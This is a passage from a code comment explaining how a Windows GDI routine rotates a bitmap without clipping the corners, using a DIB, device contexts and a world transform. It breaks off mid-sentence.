Remarks:	A rotation is first applied to the corner co-ods of the input bitmap wrapped using the top-left
			corner as the 0,0 point. This gives a new set of corner co-od's from which the minimum amd maximum
			X and Y values can be found and the size of a bitmap required to contain a rotated bitmap with no 
			clipping of the corners can be found.

			A DIB bitmap of this size is then created and both this and the input bitmap are selected into 
			respectivew DC's. The background of the DIB being painted black its origin being altered to the
			minimum X and Y already found, these being -ve so that in the diagram below the 0,0 points
			of both bitmaps coincide.

			The World transform of the second DC is set to the transfor originally computed and when the input(1)
